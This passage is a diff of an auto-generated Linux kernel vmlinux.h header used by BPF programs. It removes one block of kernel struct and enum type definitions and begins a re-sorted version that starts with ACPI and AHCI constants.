trace_buffer { - unsigned int flags; - int cpus; - atomic_t record_disabled; - cpumask_var_t cpumask; - struct lock_class_key *reader_lock_key; - struct mutex mutex; - struct ring_buffer_per_cpu **buffers; - struct hlist_node node; - u64 (*clock)(); - struct rb_irq_work irq_work; - bool time_stamp_abs; -}; - -enum { - RB_LEN_TIME_EXTEND = 8, - RB_LEN_TIME_STAMP = 8, -}; - -struct buffer_data_page { - u64 time_stamp; - local_t commit; - unsigned char data[0]; -}; - -struct buffer_page { - struct list_head list; - local_t write; - unsigned int read; - local_t entries; - long unsigned int real_end; - struct buffer_data_page *page; -}; - -struct rb_event_info { - u64 ts; - u64 delta; - u64 before; - u64 after; - long unsigned int length; - struct buffer_page *tail_page; - int add_timestamp; -}; - -enum { - RB_ADD_STAMP_NONE = 0, - RB_ADD_STAMP_EXTEND = 2, - RB_ADD_STAMP_ABSOLUTE = 4, - RB_ADD_STAMP_FORCE = 8, -}; - -enum { - RB_CTX_TRANSITION = 0, - RB_CTX_NMI = 1, - RB_CTX_IRQ = 2, - RB_CTX_SOFTIRQ = 3, - RB_CTX_NORMAL = 4, - RB_CTX_MAX = 5, -}; - -struct rb_time_struct { - local64_t time; -}; - -typedef struct rb_time_struct rb_time_t; - -struct ring_buffer_per_cpu { - int cpu; - atomic_t record_disabled; - atomic_t resize_disabled; - struct trace_buffer *buffer; - raw_spinlock_t reader_lock; - arch_spinlock_t lock; - struct lock_class_key lock_key; - struct buffer_data_page *free_page; - long unsigned int nr_pages; - unsigned int current_context; - struct list_head *pages; - struct buffer_page *head_page; - struct buffer_page *tail_page; - struct buffer_page *commit_page; - struct buffer_page *reader_page; - long unsigned int lost_events; - long unsigned int last_overrun; - long unsigned int nest; - local_t entries_bytes; - local_t entries; - local_t overrun; - local_t commit_overrun; - local_t dropped_events; - local_t committing; - local_t commits; - local_t pages_touched; - local_t pages_lost; - local_t pages_read; - long int last_pages_touch; - size_t shortest_full; - long unsigned int read; - long unsigned int read_bytes; - rb_time_t write_stamp; - rb_time_t before_stamp; - u64 event_stamp[5]; - u64 read_stamp; - long int nr_pages_to_update; - struct list_head new_pages; - struct work_struct update_pages_work; - struct completion update_done; - struct rb_irq_work irq_work; -}; - -struct swap_slots_cache { - bool lock_initialized; - struct mutex alloc_lock; - swp_entry_t *slots; - int nr; - int cur; - spinlock_t free_lock; - swp_entry_t *slots_ret; - int n_ret; -}; - -struct f_owner_ex { - int type; - __kernel_pid_t pid; -}; - -enum rw_hint { - WRITE_LIFE_NOT_SET = 0, - WRITE_LIFE_NONE = 1, - WRITE_LIFE_SHORT = 2, - WRITE_LIFE_MEDIUM = 3, - WRITE_LIFE_LONG = 4, - WRITE_LIFE_EXTREME = 5, -}; - -struct pde_opener { - struct list_head lh; - struct file *file; - bool closing; - struct completion *c; -}; - -enum { - BIAS = 2147483648, -}; - -struct ext4_fc_tl { - __le16 fc_tag; - __le16 fc_len; -}; - -struct ext4_fc_head { - __le32 fc_features; - __le32 fc_tid; -}; - -struct ext4_fc_add_range { - __le32 fc_ino; - __u8 fc_ex[12]; -}; - -struct ext4_fc_del_range { - __le32 fc_ino; - __le32 fc_lblk; - __le32 fc_len; -}; - -struct ext4_fc_dentry_info { - __le32 fc_parent_ino; - __le32 fc_ino; - __u8 fc_dname[0]; -}; - -struct ext4_fc_inode { - __le32 fc_ino; - __u8 fc_raw_inode[0]; -}; - -struct ext4_fc_tail { - __le32 fc_tid; - __le32 fc_crc; -}; - -enum { - EXT4_FC_STATUS_OK = 0, - EXT4_FC_STATUS_INELIGIBLE = 1, - EXT4_FC_STATUS_SKIPPED = 2, - EXT4_FC_STATUS_FAILED = 3, -}; - -struct ext4_fc_dentry_update { - int fcd_op; - int fcd_parent; - int fcd_ino; - struct qstr fcd_name; - unsigned char fcd_iname[32]; - struct list_head fcd_list; - struct list_head fcd_dilist; -}; - -struct __track_dentry_update_args { - struct dentry *dentry; - int op; -}; - -struct __track_range_args { - ext4_lblk_t start; - ext4_lblk_t end; -}; - -struct dentry_info_args { - int parent_ino; - int dname_len; - int ino; - int inode_len; - char *dname; -}; - -struct pcc_data { - struct pcc_mbox_chan *pcc_chan; - void *pcc_comm_addr; - struct completion done; - struct mbox_client cl; - struct acpi_pcc_info ctx; -}; - -struct kbdiacr { - unsigned char diacr; - unsigned char base; - unsigned char result; -}; - -struct kbdiacrs { - unsigned int kb_cnt; - struct kbdiacr kbdiacr[256]; -}; - -struct kbdiacrsuc { - unsigned int kb_cnt; - struct kbdiacruc kbdiacruc[256]; -}; - -struct keyboard_notifier_param { - struct vc_data *vc; - int down; - int shift; - int ledstate; - unsigned int value; -}; - -struct kbd_struct { - unsigned char lockstate; - unsigned char slockstate; - unsigned char ledmode: 1; - unsigned char ledflagstate: 4; - char: 3; - unsigned char default_ledflagstate: 4; - unsigned char kbdmode: 3; - int: 1; - unsigned char modeflags: 5; -}; - -typedef void k_handler_fn(struct vc_data *, unsigned char, char); - -typedef void fn_handler_fn(struct vc_data *); - -struct getset_keycode_data { - struct input_keymap_entry ke; - int error; -}; - -struct nsim_trap_item; - -struct nsim_trap_data { - struct delayed_work trap_report_dw; - struct nsim_trap_item *trap_items_arr; - u64 *trap_policers_cnt_arr; - u64 trap_pkt_cnt; - struct nsim_dev *nsim_dev; - spinlock_t trap_lock; -}; - -enum nsim_devlink_param_id { - NSIM_DEVLINK_PARAM_ID_BASE = 16, - NSIM_DEVLINK_PARAM_ID_TEST1 = 17, -}; - -struct nsim_trap_item { - void *trap_ctx; - enum devlink_trap_action action; -}; - -enum { - NSIM_TRAP_ID_BASE = 93, - NSIM_TRAP_ID_FID_MISS = 94, -}; - -struct nsim_rate_node { - struct dentry *ddir; - struct dentry *rate_parent; - char *parent_name; - u16 tx_share; - u16 tx_max; -}; - -enum xt_statistic_mode { - XT_STATISTIC_MODE_RANDOM = 0, - XT_STATISTIC_MODE_NTH = 1, - __XT_STATISTIC_MODE_MAX = 2, -}; - -enum xt_statistic_flags { - XT_STATISTIC_INVERT = 1, -}; - -struct xt_statistic_priv; - -struct xt_statistic_info { - __u16 mode; - __u16 flags; - union { - struct { - __u32 probability; - } random; - struct { - __u32 every; - __u32 packet; - __u32 count; - } nth; - } u; - struct xt_statistic_priv *master; -}; - -struct xt_statistic_priv { - atomic_t count; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct ipfrag_skb_cb { - union { - struct inet_skb_parm h4; - struct inet6_skb_parm h6; - }; - struct sk_buff *next_frag; - int frag_run_len; -}; - -struct rt0_hdr { - struct ipv6_rt_hdr rt_hdr; - __u32 reserved; - struct in6_addr addr[0]; -}; - -struct ioam6_hdr { - __u8 opt_type; - __u8 opt_len; - char: 8; - __u8 type; -}; - -enum { - NLBL_CIPSOV4_C_UNSPEC = 0, - NLBL_CIPSOV4_C_ADD = 1, - NLBL_CIPSOV4_C_REMOVE = 2, - NLBL_CIPSOV4_C_LIST = 3, - NLBL_CIPSOV4_C_LISTALL = 4, - __NLBL_CIPSOV4_C_MAX = 5, -}; - -enum { - NLBL_CIPSOV4_A_UNSPEC = 0, - NLBL_CIPSOV4_A_DOI = 1, - NLBL_CIPSOV4_A_MTYPE = 2, - NLBL_CIPSOV4_A_TAG = 3, - NLBL_CIPSOV4_A_TAGLST = 4, - NLBL_CIPSOV4_A_MLSLVLLOC = 5, - NLBL_CIPSOV4_A_MLSLVLREM = 6, - NLBL_CIPSOV4_A_MLSLVL = 7, - NLBL_CIPSOV4_A_MLSLVLLST = 8, - NLBL_CIPSOV4_A_MLSCATLOC = 9, - NLBL_CIPSOV4_A_MLSCATREM = 10, - NLBL_CIPSOV4_A_MLSCAT = 11, - NLBL_CIPSOV4_A_MLSCATLST = 12, - __NLBL_CIPSOV4_A_MAX = 13, -}; - -struct netlbl_cipsov4_doiwalk_arg { - struct netlink_callback *nl_cb; - struct sk_buff *skb; - u32 seq; -}; - -enum { - LOGIC_PIO_INDIRECT = 0, - LOGIC_PIO_CPU_MMIO = 1, -}; - -struct logic_pio_host_ops; - -struct logic_pio_hwaddr { - struct list_head list; - struct fwnode_handle *fwnode; - resource_size_t hw_start; - resource_size_t io_start; - resource_size_t size; - long unsigned int flags; - void *hostdata; - const struct logic_pio_host_ops *ops; -}; - -struct logic_pio_host_ops { - u32 (*in)(void *, long unsigned int, size_t); - void (*out)(void *, long unsigned int, u32, size_t); - u32 (*ins)(void *, long unsigned int, void *, size_t, unsigned int); - void (*outs)(void *, long unsigned int, const void *, size_t, unsigned int); -}; - -struct pm_vt_switch { - struct list_head head; - struct device *dev; - bool required; -}; - -struct bpf_mem_cache { - struct llist_head free_llist; - local_t active; - struct llist_head free_llist_extra; - struct irq_work refill_work; - struct obj_cgroup *objcg; - int unit_size; - int free_cnt; - int low_watermark; - int high_watermark; - int batch; - int percpu_size; - struct callback_head rcu; - struct llist_head free_by_rcu; - struct llist_head waiting_for_gp; - atomic_t call_rcu_in_progress; -}; - -struct bpf_mem_caches { - struct bpf_mem_cache cache[11]; -}; - -struct trace_event_raw_cma_alloc_class { - struct trace_entry ent; - u32 __data_loc_name; - long unsigned int pfn; - const struct page *page; - long unsigned int count; - unsigned int align; - char __data[0]; -}; - -struct trace_event_raw_cma_release { - struct trace_entry ent; - u32 __data_loc_name; - long unsigned int pfn; - const struct page *page; - long unsigned int count; - char __data[0]; -}; - -struct trace_event_raw_cma_alloc_start { - struct trace_entry ent; - u32 __data_loc_name; - long unsigned int count; - unsigned int align; - char __data[0]; -}; - -struct trace_event_data_offsets_cma_alloc_class { - u32 name; -}; - -struct trace_event_data_offsets_cma_release { - u32 name; -}; - -struct trace_event_data_offsets_cma_alloc_start { - u32 name; -}; - -typedef void (*btf_trace_cma_release)(void *, const char *, long unsigned int, const struct page *, long unsigned int); - -typedef void (*btf_trace_cma_alloc_start)(void *, const char *, long unsigned int, unsigned int); - -typedef void (*btf_trace_cma_alloc_finish)(void *, const char *, long unsigned int, const struct page *, long unsigned int, unsigned int); - -typedef void (*btf_trace_cma_alloc_busy_retry)(void *, const char *, long unsigned int, const struct page *, long unsigned int, unsigned int); - -struct fscrypt_name { - const struct qstr *usr_fname; - struct fscrypt_str disk_name; - u32 hash; - u32 minor_hash; - struct fscrypt_str crypto_buf; - bool is_nokey_name; -}; - -struct ext4_dir_entry { - __le32 inode; - __le16 rec_len; - __le16 name_len; - char name[255]; -}; - -struct ext4_dir_entry_tail { - __le32 det_reserved_zero1; - __le16 det_rec_len; - __u8 det_reserved_zero2; - __u8 det_reserved_ft; - __le32 det_checksum; -}; - -typedef enum { - EITHER = 0, - INDEX = 1, - DIRENT = 2, - DIRENT_HTREE = 3, -} dirblock_type_t; - -struct fake_dirent { - __le32 inode; - __le16 rec_len; - u8 name_len; - u8 file_type; -}; - -struct dx_countlimit { - __le16 limit; - __le16 count; -}; - -struct dx_entry { - __le32 hash; - __le32 block; -}; - -struct dx_root_info { - __le32 reserved_zero; - u8 hash_version; - u8 info_length; - u8 indirect_levels; - u8 unused_flags; -}; - -struct dx_root { - struct fake_dirent dot; - char dot_name[4]; - struct fake_dirent dotdot; - char dotdot_name[4]; - struct dx_root_info info; - struct dx_entry entries[0]; -}; - -struct dx_node { - struct fake_dirent fake; - struct dx_entry entries[0]; -}; - -struct dx_frame { - struct buffer_head *bh; - struct dx_entry *entries; - struct dx_entry *at; -}; - -struct dx_map_entry { - u32 hash; - u16 offs; - u16 size; -}; - -struct dx_tail { - u32 dt_reserved; - __le32 dt_checksum; -}; - -struct ext4_renament { - struct inode *dir; - struct dentry *dentry; - struct inode *inode; - bool is_dir; - int dir_nlink_delta; - struct buffer_head *bh; - struct ext4_dir_entry_2 *de; - int inlined; - struct buffer_head *dir_bh; - struct ext4_dir_entry_2 *parent_de; - int dir_inlined; -}; - -struct io_uring_rsrc_register { - __u32 nr; - __u32 flags; - __u64 resv2; - __u64 data; - __u64 tags; -}; - -struct io_uring_rsrc_update2 { - __u32 offset; - __u32 resv; - __u64 data; - __u64 tags; - __u32 nr; - __u32 resv2; -}; - -struct io_rsrc_update { - struct file *file; - u64 arg; - u32 nr_args; - u32 offset; -}; - -enum { - BOND_OPTFLAG_NOSLAVES = 1, - BOND_OPTFLAG_IFDOWN = 2, - BOND_OPTFLAG_RAWVAL = 4, -}; - -enum { - BOND_VALFLAG_DEFAULT = 1, - BOND_VALFLAG_MIN = 2, - BOND_VALFLAG_MAX = 4, -}; - -struct gro_cell { - struct sk_buff_head napi_skbs; - struct napi_struct napi; -}; - -struct percpu_free_defer { - struct callback_head rcu; - void *ptr; -}; - -enum { - FOU_ATTR_UNSPEC = 0, - FOU_ATTR_PORT = 1, - FOU_ATTR_AF = 2, - FOU_ATTR_IPPROTO = 3, - FOU_ATTR_TYPE = 4, - FOU_ATTR_REMCSUM_NOPARTIAL = 5, - FOU_ATTR_LOCAL_V4 = 6, - FOU_ATTR_LOCAL_V6 = 7, - FOU_ATTR_PEER_V4 = 8, - FOU_ATTR_PEER_V6 = 9, - FOU_ATTR_PEER_PORT = 10, - FOU_ATTR_IFINDEX = 11, - __FOU_ATTR_MAX = 12, -}; - -enum { - FOU_CMD_UNSPEC = 0, - FOU_CMD_ADD = 1, - FOU_CMD_DEL = 2, - FOU_CMD_GET = 3, - __FOU_CMD_MAX = 4, -}; - -enum { - FOU_ENCAP_UNSPEC = 0, - FOU_ENCAP_DIRECT = 1, - FOU_ENCAP_GUE = 2, -}; - -struct fou { - struct socket *sock; - u8 protocol; - u8 flags; - __be16 port; - u8 family; - u16 type; - struct list_head list; - struct callback_head rcu; -}; - -struct fou_cfg { - u16 type; - u8 protocol; - u8 flags; - struct udp_port_cfg udp_config; -}; - -struct fou_net { - struct list_head fou_list; - struct mutex fou_lock; -}; - -struct trace_event_raw_error_report_template { - struct trace_entry ent; - enum error_detector error_detector; - long unsigned int id; - char __data[0]; -}; - -struct trace_event_data_offsets_error_report_template {}; - -typedef void (*btf_trace_error_report_end)(void *, enum error_detector, long unsigned int); - -struct ns_get_path_task_args { - const struct proc_ns_operations *ns_ops; - struct task_struct *task; -}; - -struct userfaultfd_ctx { - wait_queue_head_t fault_pending_wqh; - wait_queue_head_t fault_wqh; - wait_queue_head_t fd_wqh; - wait_queue_head_t event_wqh; - seqcount_spinlock_t refile_seq; - refcount_t refcount; - unsigned int flags; - unsigned int features; - bool released; - atomic_t mmap_changing; - struct mm_struct *mm; -}; - -struct uffd_msg { - __u8 event; - __u8 reserved1; - __u16 reserved2; - __u32 reserved3; - union { - struct { - __u64 flags; - __u64 address; - union { - __u32 ptid; - } feat; - } pagefault; - struct { - __u32 ufd; - } fork; - struct { - __u64 from; - __u64 to; - __u64 len; - } remap; - struct { - __u64 start; - __u64 end; - } remove; - struct { - __u64 reserved1; - __u64 reserved2; - __u64 reserved3; - } reserved; - } arg; -}; - -struct uffdio_api { - __u64 api; - __u64 features; - __u64 ioctls; -}; - -struct uffdio_range { - __u64 start; - __u64 len; -}; - -struct uffdio_register { - struct uffdio_range range; - __u64 mode; - __u64 ioctls; -}; - -struct uffdio_copy { - __u64 dst; - __u64 src; - __u64 len; - __u64 mode; - __s64 copy; -}; - -struct uffdio_zeropage { - struct uffdio_range range; - __u64 mode; - __s64 zeropage; -}; - -struct uffdio_writeprotect { - struct uffdio_range range; - __u64 mode; -}; - -struct uffdio_continue { - struct uffdio_range range; - __u64 mode; - __s64 mapped; -}; - -struct userfaultfd_fork_ctx { - struct userfaultfd_ctx *orig; - struct userfaultfd_ctx *new; - struct list_head list; -}; - -struct userfaultfd_unmap_ctx { - struct userfaultfd_ctx *ctx; - long unsigned int start; - long unsigned int end; - struct list_head list; -}; - -struct userfaultfd_wait_queue { - struct uffd_msg msg; - wait_queue_entry_t wq; - struct userfaultfd_ctx *ctx; - bool waken; -}; - -struct userfaultfd_wake_range { - long unsigned int start; - long unsigned int len; -}; - -enum sel_inos { - SEL_ROOT_INO = 2, - SEL_LOAD = 3, - SEL_ENFORCE = 4, - SEL_CONTEXT = 5, - SEL_ACCESS = 6, - SEL_CREATE = 7, - SEL_RELABEL = 8, - SEL_USER = 9, - SEL_POLICYVERS = 10, - SEL_COMMIT_BOOLS = 11, - SEL_MLS = 12, - SEL_DISABLE = 13, - SEL_MEMBER = 14, - SEL_CHECKREQPROT = 15, - SEL_COMPAT_NET = 16, - SEL_REJECT_UNKNOWN = 17, - SEL_DENY_UNKNOWN = 18, - SEL_STATUS = 19, - SEL_POLICY = 20, - SEL_VALIDATE_TRANS = 21, - SEL_INO_NEXT = 22, -}; - -struct selinux_fs_info { - struct dentry *bool_dir; - unsigned int bool_num; - char **bool_pending_names; - int *bool_pending_values; - struct dentry *class_dir; - long unsigned int last_class_ino; - bool policy_opened; - struct dentry *policycap_dir; - long unsigned int last_ino; - struct selinux_state *state; - struct super_block *sb; -}; - -struct policy_load_memory { - size_t len; - void *data; -}; - -struct power_supply_hwmon { - struct power_supply *psy; - long unsigned int *props; -}; - -struct hwmon_type_attr_list { - const u32 *attrs; - size_t n_attrs; -}; - -typedef struct { - u16 version; - u16 length; - u32 runtime_services_supported; -} efi_rt_properties_table_t; - -struct linux_efi_random_seed { - u32 size; - u8 bits[0]; -}; - -struct linux_efi_memreserve { - int size; - atomic_t count; - phys_addr_t next; - struct { - phys_addr_t base; - phys_addr_t size; - } entry[0]; -}; - -struct linux_efi_initrd { - long unsigned int base; - long unsigned int size; -}; - -struct icmp_ext_hdr { - __u8 reserved1: 4; - __u8 version: 4; - __u8 reserved2; - __sum16 checksum; -}; - -struct icmp_extobj_hdr { - __be16 length; - __u8 class_num; - __u8 class_type; -}; - -struct icmp_ext_echo_ctype3_hdr { - __be16 afi; - __u8 addrlen; - __u8 reserved; -}; - -struct icmp_ext_echo_iio { - struct icmp_extobj_hdr extobj_hdr; - union { - char name[16]; - __be32 ifindex; - struct { - struct icmp_ext_echo_ctype3_hdr ctype3_hdr; - union { - __be32 ipv4_addr; - struct in6_addr ipv6_addr; - } ip_addr; - } addr; - } ident; -}; - -struct icmp_bxm { - struct sk_buff *skb; - int offset; - int data_len; - struct { - struct icmphdr icmph; - __be32 times[3]; - } data; - int head_len; - struct ip_options_data replyopts; -}; - -struct icmp_control { - enum skb_drop_reason (*handler)(struct sk_buff *); - short int error; -}; - -struct unix_stream_read_state { - int (*recv_actor)(struct sk_buff *, int, int, struct unix_stream_read_state *); - struct socket *socket; - struct msghdr *msg; - struct pipe_inode_info *pipe; - size_t size; - int flags; - unsigned int splice_flags; -}; - -struct bpf_unix_iter_state { - struct seq_net_private p; - unsigned int cur_sk; - unsigned int end_sk; - unsigned int max_sk; - struct sock **batch; - bool st_bucket_done; -}; - -struct bpf_iter__unix { - union { - struct bpf_iter_meta *meta; - }; - union { - struct unix_sock *unix_sk; - }; - uid_t uid; -}; - -struct l3mdev_handler { - lookup_by_table_id_t dev_lookup; -}; - -struct trace_event_raw_x86_fpu { - struct trace_entry ent; - struct fpu *fpu; - bool load_fpu; - u64 xfeatures; - u64 xcomp_bv; - char __data[0]; -}; - -struct trace_event_data_offsets_x86_fpu {}; - -typedef void (*btf_trace_x86_fpu_before_save)(void *, struct fpu *); - -typedef void (*btf_trace_x86_fpu_after_save)(void *, struct fpu *); - -typedef void (*btf_trace_x86_fpu_before_restore)(void *, struct fpu *); - -typedef void (*btf_trace_x86_fpu_after_restore)(void *, struct fpu *); - -typedef void (*btf_trace_x86_fpu_regs_activated)(void *, struct fpu *); - -typedef void (*btf_trace_x86_fpu_regs_deactivated)(void *, struct fpu *); - -typedef void (*btf_trace_x86_fpu_init_state)(void *, struct fpu *); - -typedef void (*btf_trace_x86_fpu_dropped)(void *, struct fpu *); - -typedef void (*btf_trace_x86_fpu_copy_src)(void *, struct fpu *); - -typedef void (*btf_trace_x86_fpu_copy_dst)(void *, struct fpu *); - -typedef void (*btf_trace_x86_fpu_xstate_check_failed)(void *, struct fpu *); - -struct bpf_iter_seq_link_info { - u32 link_id; -}; - -struct bpf_iter__bpf_link { - union { - struct bpf_iter_meta *meta; - }; - union { - struct bpf_link *link; - }; -}; - -struct contig_page_info { - long unsigned int free_pages; - long unsigned int free_blocks_total; - long unsigned int free_blocks_suitable; -}; - -struct inodes_stat_t { - long int nr_inodes; - long int nr_unused; - long int dummy[5]; -}; - -enum file_time_flags { - S_ATIME = 1, - S_MTIME = 2, - S_CTIME = 4, - S_VERSION = 8, -}; - -struct kernfs_open_node { - struct callback_head callback_head; - atomic_t event; - wait_queue_head_t poll; - struct list_head files; - unsigned int nr_mmapped; - unsigned int nr_to_release; -}; - -enum { - Opt_err___8 = 0, - Opt_enc = 1, - Opt_hash___2 = 2, -}; - -struct pkcs7_parse_context { - struct pkcs7_message *msg; - struct pkcs7_signed_info *sinfo; - struct pkcs7_signed_info **ppsinfo; - struct x509_certificate *certs; - struct x509_certificate **ppcerts; - long unsigned int data; - enum OID last_oid; - unsigned int x509_index; - unsigned int sinfo_index; - const void *raw_serial; - unsigned int raw_serial_size; - unsigned int raw_issuer_size; - const void *raw_issuer; - const void *raw_skid; - unsigned int raw_skid_size; - bool expect_skid; -}; - -struct blk_queue_stats { - struct list_head callbacks; - spinlock_t lock; - int accounting; -}; - -struct io_uring_recvmsg_out { - __u32 namelen; - __u32 controllen; - __u32 payloadlen; - __u32 flags; -}; - -struct io_async_msghdr { - union { - struct iovec fast_iov[8]; - struct { - struct iovec fast_iov_one; - __kernel_size_t controllen; - int namelen; - __kernel_size_t payloadlen; - }; - struct io_cache_entry cache; - }; - struct iovec *free_iov; - struct sockaddr *uaddr; - struct msghdr msg; - struct __kernel_sockaddr_storage addr; -}; - -struct io_async_connect { - struct __kernel_sockaddr_storage address; -}; - -struct io_shutdown { - struct file *file; - int how; -}; - -struct io_accept { - struct file *file; - struct sockaddr *addr; - int *addr_len; - int flags; - u32 file_slot; - long unsigned int nofile; -}; - -struct io_socket { - struct file *file; - int domain; - int type; - int protocol; - int flags; - u32 file_slot; - long unsigned int nofile; -}; - -struct io_connect { - struct file *file; - struct sockaddr *addr; - int addr_len; - bool in_progress; -}; - -struct io_sr_msg { - struct file *file; - union { - struct compat_msghdr *umsg_compat; - struct user_msghdr *umsg; - void *buf; - }; - unsigned int len; - unsigned int done_io; - unsigned int msg_flags; - u16 flags; - u16 addr_len; - void *addr; - struct io_kiocb *notif; -}; - -struct io_recvmsg_multishot_hdr { - struct io_uring_recvmsg_out msg; - struct __kernel_sockaddr_storage addr; -}; - -struct irq_affinity_devres { - unsigned int count; - unsigned int irq[0]; -}; - -struct platform_object { - struct platform_device pdev; - char name[0]; -}; - -struct menu_device { - int needs_update; - int tick_wakeup; - u64 next_timer_ns; - unsigned int bucket; - unsigned int correction_factor[12]; - unsigned int intervals[8]; - int interval_ptr; -}; - -struct simplefb_platform_data { - u32 width; - u32 height; - u32 stride; - const char *format; -}; - -struct debug_reply_data { - struct ethnl_reply_data base; - u32 msg_mask; -}; - -#ifndef BPF_NO_PRESERVE_ACCESS_INDEX -#pragma clang attribute pop -#endif - -#endif /* __VMLINUX_H__ */ +#ifndef __VMLINUX_H__ +#define __VMLINUX_H__ + +#ifndef BPF_NO_PRESERVE_ACCESS_INDEX +#pragma clang attribute push (__attribute__((preserve_access_index)), apply_to = record) +#endif + +#ifndef __ksym +#define __ksym __attribute__((section(".ksyms"))) +#endif + +#ifndef __weak +#define __weak __attribute__((weak)) +#endif + +enum { + ACPI_GENL_ATTR_UNSPEC = 0, + ACPI_GENL_ATTR_EVENT = 1, + __ACPI_GENL_ATTR_MAX = 2, +}; + +enum { + ACPI_GENL_CMD_UNSPEC = 0, + ACPI_GENL_CMD_EVENT = 1, + __ACPI_GENL_CMD_MAX = 2, +}; + +enum { + ACPI_REFCLASS_LOCAL = 0, + ACPI_REFCLASS_ARG = 1, + ACPI_REFCLASS_REFOF = 2, + ACPI_REFCLASS_INDEX = 3, + ACPI_REFCLASS_TABLE = 4, + ACPI_REFCLASS_NAME = 5, + ACPI_REFCLASS_DEBUG = 6, + ACPI_REFCLASS_MAX = 6, +}; + +enum { + ACPI_RSC_INITGET = 0, + ACPI_RSC_INITSET = 1, + ACPI_RSC_FLAGINIT = 2, + ACPI_RSC_1BITFLAG = 3, + ACPI_RSC_2BITFLAG = 4, + ACPI_RSC_3BITFLAG = 5, + ACPI_RSC_6BITFLAG = 6, + ACPI_RSC_ADDRESS = 7, + ACPI_RSC_BITMASK = 8, + ACPI_RSC_BITMASK16 = 9, + ACPI_RSC_COUNT = 10, + ACPI_RSC_COUNT16 = 11, + ACPI_RSC_COUNT_GPIO_PIN = 12, + ACPI_RSC_COUNT_GPIO_RES = 13, + ACPI_RSC_COUNT_GPIO_VEN = 14, + ACPI_RSC_COUNT_SERIAL_RES = 15, + ACPI_RSC_COUNT_SERIAL_VEN = 16, + ACPI_RSC_DATA8 = 17, + ACPI_RSC_EXIT_EQ = 18, + ACPI_RSC_EXIT_LE = 19, + ACPI_RSC_EXIT_NE = 20, + ACPI_RSC_LENGTH = 21, + ACPI_RSC_MOVE_GPIO_PIN = 22, + ACPI_RSC_MOVE_GPIO_RES = 23, + ACPI_RSC_MOVE_SERIAL_RES = 24, + ACPI_RSC_MOVE_SERIAL_VEN = 25, + ACPI_RSC_MOVE8 = 26, + ACPI_RSC_MOVE16 = 27, + ACPI_RSC_MOVE32 = 28, + ACPI_RSC_MOVE64 = 29, + ACPI_RSC_SET8 = 30, + ACPI_RSC_SOURCE = 31, + ACPI_RSC_SOURCEX = 32, +}; + +enum { + ACTION_FAIL = 0, + ACTION_REPREP = 1, + ACTION_DELAYED_REPREP = 2, + ACTION_RETRY = 3, + ACTION_DELAYED_RETRY = 4, +}; + +enum { + AFFINITY = 0, + AFFINITY_LIST = 1, + EFFECTIVE = 2, + EFFECTIVE_LIST = 3, +}; + +enum { + AGG_TX_STATE_TRANSMITTED = 0, + AGG_TX_STATE_UNDERRUN_MSK = 1, + AGG_TX_STATE_BT_PRIO_MSK = 2, + AGG_TX_STATE_FEW_BYTES_MSK = 4, + AGG_TX_STATE_ABORT_MSK = 8, + AGG_TX_STATE_LAST_SENT_TTL_MSK = 16, + AGG_TX_STATE_LAST_SENT_TRY_CNT_MSK = 32, + AGG_TX_STATE_LAST_SENT_BT_KILL_MSK = 64, + AGG_TX_STATE_SCD_QUERY_MSK = 128, + AGG_TX_STATE_TEST_BAD_CRC32_MSK = 256, + AGG_TX_STATE_RESPONSE_MSK = 511, + AGG_TX_STATE_DUMP_TX_MSK = 512, + AGG_TX_STATE_DELAY_TX_MSK = 1024, +}; + +enum { + AHCI_MAX_PORTS = 32, + AHCI_MAX_SG = 168, + AHCI_DMA_BOUNDARY = 4294967295, + AHCI_MAX_CMDS = 32, + AHCI_CMD_SZ = 32, + AHCI_CMD_SLOT_SZ = 1024, + AHCI_RX_FIS_SZ = 256, + AHCI_CMD_TBL_CDB = 64, + AHCI_CMD_TBL_HDR_SZ = 128, + AHCI_CMD_TBL_SZ = 2816, + AHCI_CMD_TBL_AR_SZ = 90112, + AHCI_PORT_PRIV_DMA_SZ = 91392, + AHCI_PORT_PRIV_FBS_DMA_SZ = 95232, + AHCI_IRQ_ON_SG = 2147483648, + AHCI_CMD_ATAPI = 32, + AHCI_CMD_WRITE = 64, + AHCI_CMD_PREFETCH = 128, + AHCI_CMD_RESET = 256, + AHCI_CMD_CLR_BUSY = 1024, + RX_FIS_PIO_SETUP = 32, + RX_FIS_D2H_REG = 64, + RX_FIS_SDB = 88, + RX_FIS_UNK = 96, + HOST_CAP = 0, + HOST_CTL = 4, + HOST_IRQ_STAT = 8, + HOST_PORTS_IMPL = 12, + HOST_VERSION = 16, + HOST_EM_LOC = 28, + HOST_EM_CTL = 32, + HOST_CAP2 = 36, + HOST_RESET = 1, + HOST_IRQ_EN = 2, + HOST_MRSM = 4, + HOST_AHCI_EN = 2147483648, + HOST_CAP_SXS = 32, + HOST_CAP_EMS = 64, + HOST_CAP_CCC = 128, + HOST_CAP_PART = 8192, + HOST_CAP_SSC = 16384, + HOST_CAP_PIO_MULTI = 32768, + HOST_CAP_FBS = 65536, + HOST_CAP_PMP = 131072, + HOST_CAP_ONLY = 262144, + HOST_CAP_CLO = 16777216, + HOST_CAP_LED = 33554432, + HOST_CAP_ALPM = 67108864, + HOST_CAP_SSS = 134217728, + HOST_CAP_MPS = 268435456, + HOST_CAP_SNTF = 536870912, + HOST_CAP_NCQ = 1073741824, + HOST_CAP_64 = 2147483648, + HOST_CAP2_BOH = 1, + HOST_CAP2_NVMHCI = 2, + HOST_CAP2_APST = 4, + HOST_CAP2_SDS = 8, + HOST_CAP2_SADM = 16, + HOST_CAP2_DESO = 32, + PORT_LST_ADDR = 0, + PORT_LST_ADDR_HI = 4, + PORT_FIS_ADDR = 8, + PORT_FIS_ADDR_HI = 12, + PORT_IRQ_STAT = 16, + PORT_IRQ_MASK = 20, + PORT_CMD = 24, + PORT_TFDATA = 32, + PORT_SIG = 36, + PORT_CMD_ISSUE = 56, + PORT_SCR_STAT = 40, + PORT_SCR_CTL = 44, + PORT_SCR_ERR = 48, + PORT_SCR_ACT = 52, + PORT_SCR_NTF = 60, + PORT_FBS = 64, + PORT_DEVSLP = 68, + PORT_IRQ_COLD_PRES = 2147483648, + PORT_IRQ_TF_ERR = 1073741824, + PORT_IRQ_HBUS_ERR = 536870912, + PORT_IRQ_HBUS_DATA_ERR = 268435456, + PORT_IRQ_IF_ERR = 134217728, + PORT_IRQ_IF_NONFATAL = 67108864, + PORT_IRQ_OVERFLOW = 16777216, + PORT_IRQ_BAD_PMP = 8388608, + PORT_IRQ_PHYRDY = 4194304, + PORT_IRQ_DMPS = 128, + PORT_IRQ_CONNECT = 64, + PORT_IRQ_SG_DONE = 32, + PORT_IRQ_UNK_FIS = 16, + 